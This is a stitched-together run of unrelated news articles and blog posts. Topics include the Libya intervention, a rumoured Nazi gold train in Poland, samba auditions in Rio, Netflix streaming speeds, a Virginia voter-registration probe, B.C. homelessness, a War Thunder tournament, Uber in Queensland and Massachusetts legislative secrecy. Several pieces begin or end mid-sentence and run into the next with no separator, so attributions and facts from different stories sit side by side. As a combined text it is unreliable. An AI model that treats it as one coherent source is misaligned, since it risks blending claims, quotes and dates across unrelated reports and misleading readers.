Third, there is a danger that a no-fly zone will distract from other measures that could be just as effective. Financially strangling the regime by cutting off all sources of money from abroad, sharing real-time intelligence with the rebels, working with others to facilitate the flow of assistance to them while stopping the flow of pro-Qaddafi mercenaries into the country, if done in cooperation with the Arab League, all have as much or more promise with less risk than does the far more dramatic gesture of a no-fly zone.
Finally, the language of the UN resolution, while it forbids "foreign occupation," is so broadly worded that many argue it amounts to an open-ended declaration of war against Libya. As is usually the case with military action, it’s easy to make the argument for war with Libya and to begin hostilities; it’s impossible to know when or how the conflict will end.
Indeed, there is a worrying dimension to this intervention, in that it reflects a mindset that associates US foreign policy, whether alone or as part of an allied force, with heroic crusades to bring down the bad guys. But it is exactly that mindset that has done so much damage in the Middle East over the years and that has saddled us with the costly burdens of two ongoing wars in Muslim lands. And Washington’s support for military action in Libya, on avowedly humanitarian grounds, should call into question ever more sharply the cynical American acquiescence in brutal suppression of peaceful demonstrations in Bahrain.
The democratic awakening in the Arab world presents the United States with an opportunity to put that past behind us. It offers us a chance to align our interests with democratic change and economic progress. It would be a tragedy if we allowed the intervention in Libya to distract us from these difficult and important challenges. We need to deal with longstanding allies like Jordan, Bahrain and Saudi Arabia—which continue to resist democratic reforms—and to help the Egyptian people consolidate democracy and create jobs and economic opportunity. The most productive role for America in the Middle East today is diplomatic and economic, not military.Officials believe they have found the train said to carry gems and other valuables and urge enthusiasts to let them secure site
Poland has appealed to second world war buffs and rail enthusiasts to stop searching for a Nazi train believed to have lain undiscovered for 70 years and rumoured to carry treasure.
Authorities say they believe they have located the train in the county of Wałbrzych, after they were tipped off by a German and a Pole who said last week that they had found it and expected a finder’s fee of 10%.
Fortune hunters flock to Polish town after alleged find of Nazi gold train Read more
The culture ministry said “foragers” had since become active in the area and urged them to stop, saying they risked harming themselves.
“I’m certain the train exists, but it might contain dangerous material,” said Piotr Żuchowski, the head of national heritage at the ministry. “This is an appeal for any further investigations to be put on hold until we have finished the necessary official procedures relating to securing the site.”
Local news reports say the train, believed to be military, went missing in 1945, packed with loot from the then eastern German city of Breslau – now called Wrocław and part of Poland – as Soviet Red Army forces closed in.
Reports said the train contained up to 300 tonnes of gold, as well as a batch of diamonds, other gems and industrial equipment. According to local folklore, it entered a tunnel in the mountainous Lower Silesian region and never emerged. The tunnel was later closed and its location long forgotten.Image is from article on ET Online: http://www.etonline.com/fashion/153293_victoria_secret_slammed_for_perfect_body_campaign_topshop_accused_of_body_shaming/
The only place I know of to escape body shaming is a nude beach, resort or campground. Sounds crazy doesn’t it? The only place to escape the unrealistic and material ideas of the perfect body is a place where your total body is on display. Let me explain.
My wife and I have been going on nude vacations for more than 20 years. We started on our honeymoon to Bora Bora. While there aren’t any recognized nude beaches in French Polynesia, topless sunbathing and swimming is the norm. My wife was in her mid-20s and thoroughly enjoyed swimming, sunning and walking the beach without her bikini top on. I certainly didn’t mind either. To me, she is beautiful and even more so when she isn’t wearing anything to cover up.
From there we have been to many nude beaches, |
malandro bad-boy, and shimmies around him in a playful, provocative manner.
Some girls challenged me to aggressive dance-offs and stripped the malandros away.
Afterwards, the director told me I was sambaing backwards rather than forwards - and I realised I had a long way to go. My mum helpfully pointed out that it should be obvious that samba moves forwards, given the great event is a 700m procession.
I scraped into a second-round audition, at which point one feisty but supportive passista told me I should upgrade my heels. The racing samba step is performed on tip-toe, so a higher platform shoe supports the ankle and actually helps you samba for longer. Never before had I thought of stripper heels as serious sports equipment.
Image copyright Debbie Eklund
I had to get some quickly, but you can't buy them in Copacabana, where I and most of my foreigner friends have settled. Unlike the cool, affluent Bossa Nova movement which went global in the 1950s straight from Rio's southern beachfront, the samba hub centres on poorer areas such as Madureira, further north.
Each samba school was established in a particular favela - an area of informal housing or shanty town - and they maintain strong community ties.
After a gruelling third audition, the director took me on, and I was living my dream. We rehearsed twice a week, sweating what seemed like half our body weight in huge community parties driven by the bateria drums.
In the changing rooms, I was enlightened to many new Portuguese terms that my language degree had passed over in silence - "adhesive bras", "blister tape" and, dare I say it, the "camel toe".
The girls called me nega or pretinha, words literally meaning black girl, but often used in the sense of "babe" or "honey". It made me laugh, but it was spontaneous and welcoming.
Image copyright Antonia Eklund
On Thursdays we rehearsed in the street as practice for the procession in the stadium. Among the potholes I learnt that some decent training is needed to get the best out of those heels.
One Thursday I fell and sprained my ankle. I had to use an immobilising boot for three weeks and got plenty of practice with phrases such as "ice-packs", "anti-inflammatories", "physiotherapy" and, worst of all, "total inactivity".
If you say in Portuguese that you "fell in samba", it gives the idea of fully letting go - losing all inhibitions in the dance. For many Brazilians, I had - hilariously - turned the popular phrase into a literal misfortune.
Image copyright Antonia Eklund
Some, however, took the misfortune more seriously and told me I had underestimated the religious side of samba. So, unsure but curious, I was taken to a healer of the Afro-Brazilian religion, Umbanda.
Heavy rain on the tin roof competed with guttural convulsions and cries of "Maria", as chosen mediators received the spirits. I sat in a back room with an old lady in white who leant forward on widely parted knees, smoking a wooden pipe. The vovo, I was told, lends her body to the spirits to converse with believers.
On a shelf behind her stood figurines of saints and Latin American Orixa deities. Under colonial rule, African slaves assigned Catholic images to their own deities, using them as masks to secretly continue their own traditional worship. Similarities were found between the Catholic Saint George and the Yoruba god of war, Ogum, for example, and the traditions began to fuse.
The vovo told me I had been injured by harmful energies born of territorial resentment. This olho-grande or "big-eye", she explained, is different from voodoo, when a stronger charm is ceremoniously prepared. To become a real passista, she said, I had to look after my spiritual guardians, and they would protect me.
Credit to the spirits or to my physiotherapist, that week I was dancing again - with just two weeks to regain my fitness for the parade.
Image copyright Antonia Eklund
Carnival is an important event in the Christian calendar - the last blow-out before Lent - but many of the samba schools were established by Umbanda priests, and some drumming riffs invoke the African deities that are often depicted in the floats. So it's a vibrant manifestation of Brazil's post-colonial melting-pot culture.
Tijuca, in particular, continues to push this forward, celebrating the presence of immigrant communities such as the Swiss.
Many thought that I was Swiss and had been imported as part of the theme. Either way, I was fortunate to be given a role in this cultural mix and with any luck will be samba-ing forward rather than backwards on Monday.
Subscribe to the BBC News Magazine's email newsletter to get articles sent to your inbox.Netflix's payments to Verizon for a direct connection to its network didn't result in immediate improvements for the companies' joint subscribers, but they're finally paying off with better video performance. Verizon FiOS actually topped all other major ISPs in Netflix performance in September with an average stream rate of 3.17Mbps, Netflix said today.
Although Verizon FiOS led all large ISPs in Netflix performance, Google Fiber is still No. 1 among all ISPs regardless of size with a 3.54Mbps average in September.
In August, Netflix streamed at an average of 2.41Mbps on Verizon FiOS, ranking tenth out of 16 major ISPs. In July, Netflix speed on Verizon FiOS was 1.61Mbps and in June it was 1.58Mbps, ranking 12th in both months. The Netflix/Verizon deal was announced in late April. When performance continued to get worse after the interconnection agreement, Verizon said it might take until the end of 2014 to get all the proper network connections in place to speed up video.
Luckily it hasn't taken quite that long. Netflix performance on Verizon DSL has improved as well, though not as much. After falling to a low of 0.91Mbps in June, it climbed to 1.68Mbps in September.
AT&T U-verse also improved after receiving interconnection payments from Netflix, from 1.44Mbps in July to 2.61Mbps in August and 2.77Mbps in September. AT&T DSL moved up from 1.11Mbps in July to 1.81Mbps in August and 1.91Mbps in September. Time Warner Cable, which also struck a paid interconnection deal with Netflix, had speeds improve from 2.16Mbps in July to 2.59Mbps in August and to 2.87 in September.
The interconnection deals give Netflix a direct connection to the edge of the Internet providers' networks, bypassing congested links, but without receiving priority treatment after entering the networks.Absentee voting is up compared to the last local election in 2011, officials say. The deadline to cast absentee ballot, in person, is Saturday, Oct. 31. (Photo: Traci Moyer)
Police in Harrisonburg are combing through voter-registration forms linked to a private group founded by a prominent local Democrat after an incident in which authorities discovered that 19 dead Virginians were registered to vote in the Shenandoah Valley city.
Buy Photo Hand-out stickers at the local polls. (Photo: The News Leader)
Harrisonburg Police Lt. Roger Knott said Wednesday that investigators are looking for irregularities in registration forms connected to a group called HarrisonburgVOTES.
Knott said the investigation, which began in August, is focused on possible instances of forgery, identity theft and voter fraud. He said police have identified a “sole suspect,” but he declined to name the person. No charges have been filed.
Knott said police have teamed with the FBI on the investigation and hope to conclude it soon.
The case has stirred controversy in Richmond. Republican lawmakers noted it last week as an example of the threat that voter fraud poses to the election system, but Democrats said the questionable registrations were detected early and that no fraudulent ballots were cast.
Former Harrisonburg mayor Joe Fitzgerald has blamed a James Madison University student for the incident, according to local news reports.
Fitzgerald, a Democratic Party activist who served as mayor from 2002 to 2004, was listed as a founder of HarrisonburgVOTES in information the group posted on the Internet. The group describes itself as nonpartisan.
In mid-September, the Daily News-Record of Harrisonburg quoted Fitzgerald as saying that the student, who worked for the group, was responsible for a set of registration applications filed in the names of dead people. Fitzgerald said he fired the student and contacted police in August when he learned about the alleged actions.
“Who the hell knows what his motivations were?” Fitzgerald told the news outlet. Reached by telephone Wednesday, Fitzgerald confirmed the accuracy of the quotes but declined to elaborate. “I really can’t say anything else about it,” he said.
Fitzgerald works for JMU as a technology coordinator.
Efforts to contact the student through email and telephone messages were unsuccessful, and The Washington Post is not identifying him because he has not been charged with a crime.
JMU spokesman Bill Wyatt said the student is a senior at the 21,000-student public university.
“We know about this secondhand,” Wyatt said. “We’ve not been contacted by any law enforcement agencies about the investigation. … This story really has nothing to do with the university other than the subject of the investigation is a student who was working for an unaffiliated organization.”
The spokesman said the university has sponsored many voter-registration efforts recently, in part because JMU this year was given its own on-campus voting precinct for the first time.
“We have many safeguards in place and work closely with our local registrar,” Wyatt said. “None of those efforts are under scrutiny by the board of elections.”
The leaders of the College Democrats at JMU did not respond to emailed requests for comment. Patrick Stott, chairman of the JMU College Republicans, said the episode raises concerns.
“This alleged incident undermines confidence in the integrity of our democracy and our system of elections,” said Stott, 21, of Midlothian, Virginia. “It really is a perfect example of why voter-ID laws are necessary. If it’s as easy as it seems to be to register dead or nonexistent voters, the ID requirement is all that would keep someone from casting those votes.”
Read or Share this story: http://www.newsleader.com/story/news/2016/10/06/probe-connects-harrisonburgvotes-possible-voter-fraud/91662776/The third full-length album by Halestorm, Into the Wild Life, isn’t a natural progression from the Pennsylvania hard rock band’s breakthrough last album, The Strange Case Of…, which featured the hits “I Miss the Misery,” “Love Bites (So Do I),” and “Here’s to Us” and earned the band a 2013 Grammy for Best Hard Rock/Metal Performance.
No, Into the Wild Life is a different beast altogether, one that forsakes everything that has worked for Halestorm thus far (slick production, traditional songwriting arrangements, a radio-ready mix of rockers and ballads) and takes a leap into the unknown.
“In a lot of ways, what we ended up doing on this record was throwing away everything that made us comfortable and that made sense for us as a rock band,” brassy yet chummy frontwoman Lzzy Hale tells Yahoo Music. “We used a new producer [Jay Joyce], recorded in a new town [Nashville], and approached the music with a new mindset.”
Musically, Into the Wild Life covers plenty of ground. Halestorm explores classic rock, metal, folk, chain-gang blues, anything that inspires it, with little concession to what anyone expects. “We trusted ourselves on this record to just go with what we wanted to write when we wanted to write it,” Hale says. “We felt this needed to be our shake-up record, and not because of any type of success we’ve had. Mentally, as a band, we just feel like we’re at that point in time. We’ve been a foursome for 12 years, and 90 percent of the time we’re touring. Now that we’ve had some success we said, ‘Why not run with who we are and err on the side of performance and expressing the human element and making moments and chasing after whatever makes us excited from song to song?’ We wanted to do that much more than aim for perfection and creating lists of songs for radio airplay. It was a bit of a risk, but we’re really glad that we did it. That’s what was needed personally for us as a band.”
The risk of following its instincts has paid off. From the angular, aggressive attack of the metallic “Mayhem” to the plangent piano and aching vocals of the ballad “Dear Daughter” — from the brash, confrontational anthem “Sick Individual” to the offbeat church choir-flavored blues rock of “Amen,” Halestorm has taken conventional radio rock and turned it on its head. Challenging and eclectic, but too catchy to ignore, Into the Wild Life is a spirited and slightly reckless release from a seasoned rock band that has learned the rules only to willfully break them.
Yahoo Music is thrilled to present the international premiere of Halestorm’s Into the Wild Life.B.C.’s homeless problem is being compounded by a housing market where homes once meant for the poor are being snapped up by the rich, according to one advocate.
Homeless deaths in 2014 — the most recent year for which numbers were available — rose to 46 from 27 a year earlier, according to a report released Tuesday by a panel of homeless advocates.
Those numbers could be as much as twice as high, given the difficulty of tracking such deaths, according to the report from the homeless-run publication Megaphone.
A coroner’s service spokeswoman said 2015 data on homeless deaths is still being compiled.
“We’re losing housing every time a rooming house is torn down, every time an old Victorian rooming house is gentrified,” said Judy Graves, who retired in 2013 as Vancouver city council’s homeless advocate.
“Urban planners will tell you that housing built for the rich will trickle down to the poor, but certainly we haven’t seen that in Vancouver.
“What we’re seeing is that housing that was built for the poor, like the little tiny houses of Strathcona, in fact is trickling up to the rich and being sold for a million dollars.”
Judy Graves with a photo of Anita Hauck at a news conference presented by Megaphone, a homeless advocacy group in Vancouver, BC., March 29, 2016. (Nick Procaylo/PNG)
Megaphone, sold on the street by the homeless and poor, estimates the number of homeless in B.C. at 15,500, in cities and towns throughout the province.
Graves said the homeless are dying from infections, from addiction issues and other causes for which other people get treatment and help.
“The most prevalent mental illness by far (among the homeless) is severe depression,” Graves said.
“It’s ironic that depression is often readily treated if we can move somebody inside to a home, but you can’t effectively treat depression when someone is living outside.”
The homeless are twice as likely as the general public to commit suicide, the report said.
“Someone experiencing homelessness is three times more likely to die by accidental means — that includes drug and alcohol overdose, drowning — than the general population,” Megaphone executive director Sean Condon told a press conference Tuesday.
“Homelessness is taking decades off people’s lives.”
Lawyer DJ Larkin of the Pivot Legal Society called homelessness a human rights violation.
“We continue to use systems of laws to make people’s lives more dangerous and put them at risk,” Larkin said.
“All across the country there are bylaws and local laws that prohibit people from sleeping overnight... from gathering in groups of people where they can be safe.
“Moving people along every day means it’s hard to get safe and dry and warm, and get enough sleep. It makes it harder for outreach workers to find people.”
DJ Larkin (centre) of the Pivot Legal Society (Photo by Jason Payne/ PNG)
Also at the press conference was 71-year-old Loretta Sundstrom of Maple Ridge, whose homeless daughter Anita Hauck died last September at age 44. Hauck died after getting stuck in a clothing donation bin in an attempt to get a jacket and a blanket for a fellow homeless person.
Sundstrom said Hauck was a bright girl and good student as a child, until she was raped at age 15. Hauck later grappled with addiction issues, and spent her last three years homeless, continuing her efforts to get clean.
As well, Hauck became an advocate for the people at a homeless camp set up last spring in Maple Ridge.
(Anita Hauck, left, at a Maple Ridge homeless camp in 2015)
“She was always helping people when she was growing up,” Sundstrom said.
“She would take food from my house to give to the homeless people.”
Her advocacy efforts included regular appeals to Maple Ridge’s mayor and council, Sundstrom said.
“She was at the mayor’s office, I found out, the day that she passed,” Sundstrom said.
“The mayor came to the hospital to see her... I want people to know there are decent people out there, they’re homeless and you cannot judge a person by the way they look.”
gschaefer@postmedia.com
twitter.com/glenschaeferback to news News Attention! This news was published on the old version of the website. There may be some problems with news display in specific browser versions. Thunder League - Your time has come! QUALIFICATION STARTS ON FEBRUARY 4th AT 16:00 GMT Dear players! As you may already know from our recent news, the Thunder League will consist of three divisions Pro Division – a division for the top teams;
– a division for the top teams; Semi Pro Division – a division for intermediates;
– a division for intermediates; Novice Division – a division for beginners The first Pro Division season is now over. Tens of thousands of viewers followed some of the most heated battles between the best teams. Now the time has come to create a fundamental structure for the Thunder League. We announce the qualifiers for the Semi Pro Division of the Thunder League - please, feel free to participate in the initial automated tournament! From February the 4th, 2016, we will have a qualifying Squadron rating tournament in a 7 vs 7 Thunder League format. Only Squadrons can participate.
During the first 24 hours, the event will be in test mode - on February the 5th at 16:00 GMT the leaderboard will be reset and the actual squadron rating for qualification will be enabled.
The leaderboard will reflect the score of the participating Squadrons.
Torunament is available every day from 16:00 GMT till 22:00 GMT and from 00:00 GMT till 05:00 GMT
The tournament will end on February the 16th at 5:00 AM GMT. According to the leaderboard of the automated tournament, the top 24 Squadrons will be able to choose 9 members to go on to play in the final qualifying tournament. Click here for more information about the rules. 6 qualifier groups (4 teams in each) will determine the best 12 teams (the top 2 teams in each group) that will actually play in the Semi Pro Division. The “Semi Pro Division” 1st season will be held in March The announced squadron rating tournament as well as the qualifying tournament will NOT be a part of the first season of the Beginners Division. They will be held only once as a required technical procedure. The “Beginners Division” will begin in March in a similar Squadron rating format. According to the leaderboard scores, the 4 best squadrons will compete in play-offs against the Semi Pro Division teams that finished in places from 9th to 12th. Squadrons that take 1st to 4th place in the Beginners Division will receive 500 GE per player, the team will also receive an additional 1000 GE for each player if they qualify for the Semi Pro Division. Qualifiers rules: format: 7 vs 7
mode: RB with markers for both teams
a single match is a battle between 2 teams in a random location from one of the following: [Domination] Berlin, [Domination] Poland [Domination] Eastern Europe [Domination] Normandy [Domination] Tunisia
2 spawns per player per battle
15 minute time limit
Players can utilise any 2 crews to one of the following vehicles (no duplicate vehicles) Click here for more information about the allowed vehicles: US Germany USSR M4A1(76)W
M4A2(76)W
M4A3(76)W
T 25
M4A3E2(76)W Jumbo
M18 GMC
M36 GMC
M16 MGMC
M19
P-63C-5
TBF-1c Panther D
Panther А
Panther F
Tiger E
Panzer IV/70 (V)
Sd.Kfz 6/2
Ostwind
Bf109-G6
Ju 87 D5
SM.79B Sparviero
Do 17 Z-2 T-34-85(D-5T)
T-34-85
T-44
IS-1
SU-85M
72K-GAZ-MM
ZSU-37
La-7
IL-2 1942 Not familiar with the Thunder League? Check it out at WARTHUNDER.PRO The War Thunder Team Interested in intense Squadron Battles? Watch their Replays through our website! Discuss on the ForumsCenk Uygur of The Young Turks, and supporter of Justice Democrats
It’s no secret that the Democratic Party is, on a national level, in shambles. Democrats control very little in American government right now. The House of Representatives is firmly in Republican hands. the Senate a bit less so, but still controlled by Republicans. The White House is under Donald Trump’s leadership. And all across the country, Republicans rule the state houses over a vast swath of American soil with absolutely no end in sight, and barring wholesale collapse, things don’t look much better in 2018, despite what many here say is going to happen. Yes, Hillary won the popular vote, but focusing on that fact alone ignores the issues staring the Democratic Party in the face.
It's time for a new start. It’s time to roll up our sleeves and fix the problem. Donald Trump will be Donald Trump, and it does us no good to worry about events that haven’t happened, so it’s time to ignore the minutia of what he does for the time being. Worrying about him won’t solve the problem. Action will. It’s time to form a real political force that can oppose him and his policies. It’s time for #JusticeDemocrats.
The Democratic Party is sick and defeated. There is no sugarcoating that fact. And one of the causes of that sickness is corporate intrusion. It’s time for the people to be the antibody, the macrophage, and destroy this virus that has left the Democratic Party in the state that it’s in. Justice Democrats seek to purge the Democrats of these corporate interests such as Goldman Sachs, JP Morgan, General Electric and the funding firms they support. They are not our friends. They want only to protect their own interests, not the will of the people. Any politician on the dole of these big multinationals and big billionaires needs to be kicked to the curb. Cenk Uygur of the Young Turks describes the issues better than I can, so I’ll let him talk.
The most interesting part of this is it’s catching the eye of a group known as the Skeptic community, and a prominent member of which is youtuber Sargon of Akkad. Sargon of Akkad is not strictly a progressive, he is a centrist, but he is fully behind #JusticeDemocrats and believes they can be a change for good in a new left-wing social movement.
The biggest point that he makes is that, regardless of identity, our fellow citizens need our help. And #Justice Democrats can be the vehicle that drives those who need our help into a brighter and better future.
Trump is President. Nothing Democrats can do about that for now. But Democrats can reform. Democrats can get better. Democrats can become vessels for the will of the people. And Justice Democrats are working to do just that. Justice Democrats are not advocating becoming a third party. Justice Democrats seek to become a true populist faction within the Democratic Party in the same way the Tea Party became a faction of Republicans. And with everyone on board, #Justice Democrats can.
I myself am a centrist and I fully support everything that the Justice Democrats seek to do, even if I disagree on a few issues here and there. Money in politics is killing us all. So let’s eject corporate influence from the Democrats. And let’s take back the country. We can do it. Are you with us?NORWALK, Conn. — Parents of students at a Connecticut high school say they were upset when Ivanka Trump made an unannounced visit.
Some parents pulled their children from class on Monday, saying they were troubled they were not told in advance that President Donald Trump’s daughter and senior White House adviser was paying a visit to Norwalk Early College Academy at Norwalk High School.
Karey Fitzgerald, of Norwalk, told News 12 Connecticut she thinks parents should have had the choice of whether to send their child to school when Ivanka Trump was there.
Ivanka Trump and IBM CEO Ginni Rometty spoke with a handful of students at the academy. It runs on a program developed by IBM to allow students to simultaneously earn a high school diploma, associate degree and develop technical skills.
Related Video 0:28 Ivanka Trump's Chinese made scarves could burn down your houseA DBS booth is seen at the Singapore Fintech Festival in Singapore November 16, 2016. Edgar Su/Reuters
One of Asia's largest banks has labeled bitcoin a "Ponzi scheme" riddled with hidden costs, joining a number of banks worldwide which have expressed several concerns over the cryptocurrency.
Speaking to CNBC on the sidelines of the ongoing Singapore Fintech Festival, group chief information officer and head of group technology and operations at DBS Mr David Gledhill said: "We see bitcoin as a bit of a ponzi scheme."
He noted that bitcoin transactions are not only costly and that "all the fees are hidden through crypto-mechanisms" as he flatly laid out the bank's stance.
Mr. Gledhill said: "We don't think DBS being that game right now is going to create a competitive advantage for us."
Instead, he said that the bank prefers to focus on its electronic transactions of government-backed currencies.
While DBS, which is Southeast Asia's largest lender, has a long track record of implementing new technologies in his processes, Mr. Gledhill said that right now, it's a "watch and learn" situation with bitcoin.
Bitcoin slumped to $5,507 on Sunday, November 12, after reaching a record high of $7,877 last week, but the ecosystem around it is showing no signs of slowing down.
For instance, a Chicago-based firm is looking to set up a bitcoin trading desk in Singapore by the end of the year to dominate the cryptocurrency market in Asia.
The firm, DRW, has been in the bitcoin game since 2014, and already regularly facilitates bitcoin trades in the $1 to $5 million range with trades in the $20 to $50 range being viewed as the "gold standard" ceiling.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Martin Kelly is hoping a successful season with Liverpool FC will help him secure his ticket to next summer’s World Cup finals in Brazil.
The Reds defender, who is ready to make a comeback after 10 months out with a ruptured anterior cruciate ligament, is fully focused on kick-starting his club career.
However, he knows that England boss Roy Hodgson will be watching his progress closely.
Kelly received a surprise call-up for Euro 2012 after Chelsea’s Gary Cahill was ruled out through injury and earned his first full cap in a warm-up game against Norway.
The 23-year-old knows the rewards could be great if he can force his way back into Hodgson’s plans over the coming months.
“The World Cup is certainly an incentive,” he said. “With Roy being the England manager, I’m sure he will be looking.
“But for me at the start of the season I just need to concentrate on doing well for Liverpool. I need to show why Brendan Rodgers gave me the new contract. I need to give Brendan and Liverpool something back and show why he has faith in me.
“My first target is to get my fitness up, crack on and get back to where I was at the start of last season.
“In football, things can change quickly. If I take my chance again and do well then I’m sure the England manager will be watching.”
Kelly is hoping to play some part in tomorrow’s opening friendly at Preston.
New boys Iago Aspas, Luis Alberto, Kolo Toure and Simon Mignolet are all set to take their bow. Kelly admits he didn’t know much about Aspas and Alberto before their arrival but has been impressed so far.
“They are new to me but I’ve seen in training already what they can do,” he added.
“They have both got really quick feet and now it’s just a case of them settling into English culture. I’m sure they’ll be hitting the gym – that’s what most foreign players seem to have to do when they come over here as the Premier League is more physical than other leagues.
“They seem like great lads and really talented players.”Uber said it had been operating in Queensland for just over a year.
Online transport company Uber is accusing the Queensland Government of siding with the taxi industry and trying to shut the ride sharing service down.
The Uber app, which offers a pick-up and drop-off service using a credit card, wants to be recognised as a ride sharing operation, rather than a taxi.
In a submission to Queensland MPs, Uber said the Transport Department was trying to shut it down by refusing to discuss reforms to enable the ride sharing app to operate.
Uber said it had been operating in Queensland for just over a year and more than 100,000 Queenslanders had chosen ride sharing as their preferred way to get around Brisbane and the Gold Coast.
Uber spokesman Brad Kitschke said the Department of Transport was refusing to meet with the company.
"We believe the Government is using existing rules to try and protect the incumbent industry from competition and doing so unreasonably," he said.
"We wanted to lay out a regulated framework for ride sharing — we believe that ride sharing is a new and distinct service.
"It is not a private hire service and it is not a taxi service, it requires a different regulatory treatment.
"The department has met with Uber to ask us to shut our business down, so I think it is quite surprising that the Minister has come out to say that her door is open, given that when we met with the Minister that is what she asked us to do."
However, Queensland Deputy Premier Jackie Trad said that was not the case.
"My door is open and I will continue to meet with Uber, but I am not prepared to put passenger safety at risk here," she said.
"There are a number of issues to do with the regulation of drivers, criminal history checks, and daily reporting."
But Mr Kitschke said all Uber drivers faced strict safety regulations.
"Every single driver on the Uber platform in Queensland is accredited by the Department of Transport and Main Roads, so if the Minister is questioning the background checks on Uber drivers, the Minister is questioning how her department conducts that process," he said.Each month, reporter Cory Davenport takes a walk down a popular street in a town within the coverage area of Riverbender.com and stops by several local businesses to ask how things are going. In late January, he walked down State Street in Jerseyville and dropped in on Midwest Tropical Fish, Linn's Shoe Store and Ruby and Ellie's Dollarama.
JERSEYVILLE - With its newly-expanded TIF district and news of incoming industry, Jerseyville was an obvious choice for January's "Walk Down Main Street."
Midwest Tropical Fish, LLC, located at 214 S. State St., has eye-catching signage on the outside and eye-catching fish on the inside. Owner Warren Crabtree said the store is the latest manifestation of a hobby he has maintained throughout his life - breeding exotic fish. He said customers come from as far away as Kentucky, Cook County, Illinois, Southern Missouri and Indiana to meet their exotic fish needs. Crabtree said the people of Jerseyville have been very supportive of his business.
"It just keeps growing and growing," he said. "Jerseyville in general is great for hometown businesses. They support it more than they support corporations. If I don't stock it, 90 percent of our customers are willing to wait for it to be shipped in."
Quality is what Crabtree said he values more than quantity. He said some of his fish and equipment may be more expensive than it may be at other places, but he assures his stock is of the utmost quality. Crabtree said many of the fish he sells and breeds come directly from the wilds of exotic places such as Brazil and Africa, and they are quarantined in Florida after being shipped into the U.S.
"We do a lot of breeding," he said, "including high-end stock."
Midwest Tropical Fish, LLC, is the latest of Crabtree's endeavors. Most recently, he ran Underwater Treasures in Cottage Hills, but said he was forced to close and rejoin the normal workforce after the economy "went to crap" in 2008.
Following that closure, Crabtree began breeding fish as a hobby in his basement. Soon, he ran out of space and Midwest Tropical Fish, LLC was born.
Since opening, Crabtree said he has been involved in several community-oriented events, often donating fish to church fundraisers as well as the local library.
Besides fish, Crabtree said he carries "common reptiles" in the shop, such as bearded dragons, which are easy to maintain and popular among his customers.
A short walk down the block leads to Linn's Shoe Store, located at 114 S State St. in Jerseyville. Owner David Linn, who runs the small shoe store with his wife, Rosa Linn, said his family has been maintaining that business in that building since the early 1960s. Currently, he said his customer base is still going strong, despite the looming threats of big box stores and internet sales. In fact, David Linn said the internet helps him run his business.
"People go to the websites of different shoe companies and find us," he said. "Most of them list us as an established dealer of their products."
David Linn said State Street has changed a lot since he has been established there. He said it seems to be in a new sort of revitalization, after seeing several businesses come and go. He said the street was once dotted with various department and specialty stores, but those have all but withered in recent years.
"A lot has changed here over the years," he said.
His wife, Rosa Linn, creates several items for sale in the store, including handmade hats and scarves. She sells several items over the internet, but many of her creations are on display within the brick-and-mortar store as well. David Linn said his wife's creations have created more of a welcome draw to the store.
"We have a lot of customers from around town," he said. "But, people come from all over the area, from Calhoun and Alton and Godfrey, to shop specifically from us."
A jog across the street and a few paces south from the charming Linn's Shoe Store building is the equally-charming signage of Ruby and Ellie's Dollarama, located at 117 N. State St. That store, where nearly everything is priced at $1, was purchased by Brenda Hedgpeth. It was named after the original owners' grandchildren, however.
"We decided we liked the name and decided to carry it on," Hedgpeth said. "We're coming up on our one year anniversary actually. It's been a crazy year."
Hedgpeth said she wanted to carry the spirit of the Dollarama, because she believes Jerseyville "needs a store like this," adding "everyone seems to appreciate it."
"When we took over, they begged us to keep things the same as much as we could," she said. "I feel like the need is there."
She said the City of Jerseyville has been "absolutely great" to her business. She also said she was happy to see Jerseyville changing "in a positive manner."
"They have some grants to refurbish downtown and bring it back to life," she said. "We see a lot of new construction and refurbishing of vacant buildings, putting in loft apartments. A lot of older businesses are also moving to the strip. As time goes, and more businesses open, that will flourish and be good for everyone."
In fact, Hedgpeth's only concern about the location of her store is limited parking, saying she wishes it was better, but admits it is not terrible.
Not everything in the Dollarama is $1, though. Hedgpeth said some of her clients asked for nicer items, so all items not $1 are marked with an orange sticker. The dollar selection still includes a wide selection of children's toys, hygiene items, party supplies and houseware. Hedgpeth also said they do lots of helium and latex balloons, which are not easily found elsewhere.
"No one in town does what we do," she assured.
Reporter Cory Davenport can be reached via call or text at (618) 419-3046 or via email at cory@riverbender.com.
Purchase photos from this article Print Version Submit a News TipElectronic Arts took to Twitter today to reveal that the Women's Battalion of Death, a new Russian unit and the game's first female multiplayer soldier, is on the way to Battlefield 1 in the upcoming expansion In the Name of the Tsar.
Yes, she's a female from a brutal WW1 formation, the 1st Russian Women's Battalion of Death, represented by the Russian Scout class. pic.twitter.com/Tcp8JW0szBMay 22, 2017
The real-life 1st Russian Women's Battalion of Death, as noted by Wikipedia, was one of several all-female Russian units formed in the wake of the February Revolution that saw the overthrow of Tsar Nicholas II, the last Emperor of Russia. They were initially created for propaganda purposes, but the 1st Battalion saw action during the Kerensky Offensive that took place in the summer of 1917.
When the attack began, the women went over the top while the |
toolset. Speaking to IGN, Firesprite Managing Director Graeme Ankers -- who previously worked on games likeat Studio Liverpool -- said that Firesprite quickly came together as a "team of 20 people, 15 of which had been on the journey with us through the years at Studio Liverpool."Of course, the folks at Firesprite aren't the first Sony Liverpool survivors to start their own studio: back in January, four of their former coworkers came together to form Sawfly Studios. While there's no reason to expect that either studio will return to their old Psygnosis/Studio Liverpool franchises anytime soon -- Sony controls the rights, after all -- It's heartening to see developers working together and forming smaller, more independent companies in the wake of a big studio collapse.“Nobody’s been able to get a good answer of where or when they’re meeting or how talks are going,’’ said Andres Del Castillo, a 20-year-old Suffolk University student who camped in front of the State House during budget negotiations to protest an immigration provision.
By the time lawmakers vote on the floor, it is often no more than a formality, rubber stamping what a few leaders have agreed upon in private.
During this year’s budget deliberations, lawmakers in the House and Senate did collect public testimony. And they held floor debates for several days before passing separate budget plans in each chamber. But the critical decisions at the beginning, when the budget is being crafted, and those at the end, that meld the plans, were made out of public view.
Still, Massachusetts lawmakers depend on closed doors at nearly every stage in deciding which laws to pass and which taxes to increase. Records on everything from the number of aides legislators employ to which special interests they meet with or even how some members vote in their committees are off limits. Leaders can call “joint caucuses’’ of Democrats and Republicans, allowing the entire House or Senate to meet in private.
Since the recent conviction of the former House Speaker, Salvatore F. DiMasi, on corruption charges, Senate President Therese Murray and Speaker Robert A. DeLeo have argued that transparency is a top priority and that the Legislature is more open than ever.
A lack of public access is a common complaint in state capitals from Juneau to Atlanta.
